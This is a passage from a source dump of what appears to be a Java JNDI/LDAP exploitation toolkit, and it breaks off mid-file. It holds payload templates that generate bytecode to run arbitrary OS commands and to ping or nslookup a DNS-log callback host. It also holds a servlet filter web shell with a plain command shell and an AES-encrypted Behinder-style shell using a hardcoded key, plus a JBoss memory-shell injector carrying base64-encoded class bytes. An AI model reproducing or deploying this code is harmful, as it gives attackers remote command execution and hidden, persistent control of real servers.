mv.visitInsn(ICONST_3);
mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
mv.visitInsn(DUP);
mv.visitInsn(ICONST_0);
mv.visitLdcInsn("cmd");
mv.visitInsn(AASTORE);
mv.visitInsn(DUP);
mv.visitInsn(ICONST_1);
mv.visitLdcInsn("/C");
mv.visitInsn(AASTORE);
mv.visitInsn(DUP);
mv.visitInsn(ICONST_2);
mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;");
mv.visitInsn(AASTORE);
mv.visitVarInsn(ASTORE, 1);
mv.visitLabel(l0);
mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {"[Ljava/lang/String;"}, 0, null);
mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitVarInsn(ALOAD, 1);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(POP);
mv.visitLabel(l1);
Label l4 = new Label();
mv.visitJumpInsn(GOTO, l4);
mv.visitLabel(l2);
mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {"java/io/IOException"});
mv.visitVarInsn(ASTORE, 2);
mv.visitVarInsn(ALOAD, 2);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false);
mv.visitLabel(l4);
mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
mv.visitInsn(RETURN);
mv.visitMaxs(4, 3);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" });
mv.visitCode();
mv.visitInsn(RETURN);
mv.visitMaxs(0, 3);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" });
mv.visitCode();
mv.visitInsn(RETURN);
mv.visitMaxs(0, 4);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_STATIC, "<clinit>", "()V", null, null);
mv.visitCode();
mv.visitLdcInsn(cmd);
mv.visitFieldInsn(PUTSTATIC, className, "cmd", "Ljava/lang/String;");
mv.visitInsn(RETURN);
mv.visitMaxs(1, 0);
mv.visitEnd();
}
cw.visitEnd();
bytes = cw.toByteArray();
}
}
================================================
FILE: src/main/java/com/feihong/ldap/template/DnslogTemplate.java
================================================
package com.feihong.ldap.template;
import com.feihong.ldap.utils.Cache;
import com.feihong.ldap.utils.Util;
import org.objectweb.asm.*;
import static org.objectweb.asm.Opcodes.*;
public class DnslogTemplate implements Template {
private String className;
private byte[] bytes;
private String dnslog;
public DnslogTemplate(String dnslog){
this.dnslog = dnslog;
this.className = "Exploit" + Util.getRandomString();
generate();
}
public DnslogTemplate(String dnslog, String className){
this.dnslog = dnslog;
this.className = className;
generate();
}
public void cache(){
Cache.set(className, bytes);
}
public String getClassName(){
return className;
}
public byte[] getBytes(){
return bytes;
}
public void generate(){
ClassWriter cw = new ClassWriter(0);
FieldVisitor fv;
MethodVisitor mv;
AnnotationVisitor av0;
cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);
{
fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "dnslog", "Ljava/lang/String;", null, null);
fv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
mv.visitCode();
Label l0 = new Label();
Label l1 = new Label();
Label l2 = new Label();
mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException");
mv.visitVarInsn(ALOAD, 0);
mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
mv.visitLdcInsn("/");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
Label l3 = new Label();
mv.visitJumpInsn(IFEQ, l3);
mv.visitTypeInsn(NEW, "java/lang/StringBuilder");
mv.visitInsn(DUP);
mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
mv.visitLdcInsn("ping -c 1 ");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
mv.visitVarInsn(ASTORE, 1);
mv.visitJumpInsn(GOTO, l0);
mv.visitLabel(l3);
mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {});
mv.visitTypeInsn(NEW, "java/lang/StringBuilder");
mv.visitInsn(DUP);
mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
mv.visitLdcInsn("nslookup ");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;");
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
mv.visitVarInsn(ASTORE, 1);
mv.visitLabel(l0);
mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {"java/lang/String"}, 0, null);
mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitVarInsn(ALOAD, 1);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(POP);
mv.visitLabel(l1);
Label l4 = new Label();
mv.visitJumpInsn(GOTO, l4);
mv.visitLabel(l2);
mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {"java/io/IOException"});
mv.visitVarInsn(ASTORE, 2);
mv.visitVarInsn(ALOAD, 2);
mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false);
mv.visitLabel(l4);
mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
mv.visitInsn(RETURN);
mv.visitMaxs(2, 3);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" });
mv.visitCode();
mv.visitInsn(RETURN);
mv.visitMaxs(0, 3);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" });
mv.visitCode();
mv.visitInsn(RETURN);
mv.visitMaxs(0, 4);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_STATIC, "<clinit>", "()V", null, null);
mv.visitCode();
mv.visitLdcInsn(dnslog);
mv.visitFieldInsn(PUTSTATIC, className, "dnslog", "Ljava/lang/String;");
mv.visitInsn(RETURN);
mv.visitMaxs(1, 0);
mv.visitEnd();
}
cw.visitEnd();
bytes = cw.toByteArray();
}
}
================================================
FILE: src/main/java/com/feihong/ldap/template/DynamicFilterTemplate.java
================================================
package com.feihong.ldap.template;
import sun.misc.BASE64Decoder;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
public class DynamicFilterTemplate implements Filter {
private Class myClassLoaderClazz;
private String basicCmdShellPwd = "pass";
private String behinderShellHeader = "X-Options-Ai";
private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond
public DynamicFilterTemplate(){
super();
initialize();
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[+] Dynamic Filter says hello");
if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){
//basic cmd shell
String cmd = servletRequest.getParameter(basicCmdShellPwd);
if(cmd != null && !cmd.isEmpty()){
String[] cmds = null;
if(File.separator.equals("/")){
cmds = new String[]{"/bin/sh", "-c", cmd};
}else{
cmds = new String[]{"cmd", "/C", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
servletResponse.getWriter().println(result);
}
}else if(((HttpServletRequest)servletRequest).getHeader(behinderShellHeader) != null){
//behind3 shell
try{
if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){
String k = behinderShellPwd;
((HttpServletRequest)servletRequest).getSession().setAttribute("u",k);
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine()));
Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader());
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse});
}
}catch(Exception e){
e.printStackTrace();
}
}else{
filterChain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {
}
private void initialize(){
try{
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try{
this.myClassLoaderClazz = classLoader.loadClass("com.feihong.ldap.template.MyClassLoader");
} catch (ClassNotFoundException e) {
Class clazz = classLoader.getClass();
Method method = null;
while(method == null && clazz != Object.class){
try{
method = clazz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
}catch(NoSuchMethodException ex){
clazz = clazz.getSuperclass();
}
}
String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU=";
byte[] bytes = new BASE64Decoder().decodeBuffer(code);
method.setAccessible(true);
this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
}
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
}
================================================
FILE: src/main/java/com/feihong/ldap/template/JBossMemshellTemplate.java
================================================
package com.feihong.ldap.template;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import io.undertow.servlet.api.DeploymentInfo;
import io.undertow.servlet.api.FilterInfo;
import io.undertow.servlet.core.DeploymentImpl;
import io.undertow.servlet.spec.HttpServletRequestImpl;
import io.undertow.servlet.util.ConstructorInstanceFactory;
import sun.misc.BASE64Decoder;
import javax.security.jacc.PolicyContext;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.ServletContext;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Map;
public class JBossMemshellTemplate extends AbstractTranslet {
public JBossMemshellTemplate(){
try{
String filterName = "dynamicFilter";
String urlPattern = "/*";
HttpServletRequestImpl request = (HttpServletRequestImpl) PolicyContext.getContext("javax.servlet.http.HttpServletRequest");
ServletContext context = request.getServletContext();
Field f = context.getClass().getDeclaredField("deploymentInfo");
f.setAccessible(true);
DeploymentInfo deploymentInfo = (DeploymentInfo)f.get(context);
//只添加一次
Map<String, FilterInfo> filters = deploymentInfo.getFilters();
if(!filters.containsKey(filterName)){
System.out.println("[+] Add Dynamic Filter");
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class clazz;
try{
clazz = cl.loadClass("com.feihong.ldap.template.DynamicFilterTemplate");
}catch(ClassNotFoundException e){
BASE64Decoder base64Decoder = new BASE64Decoder();
String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHc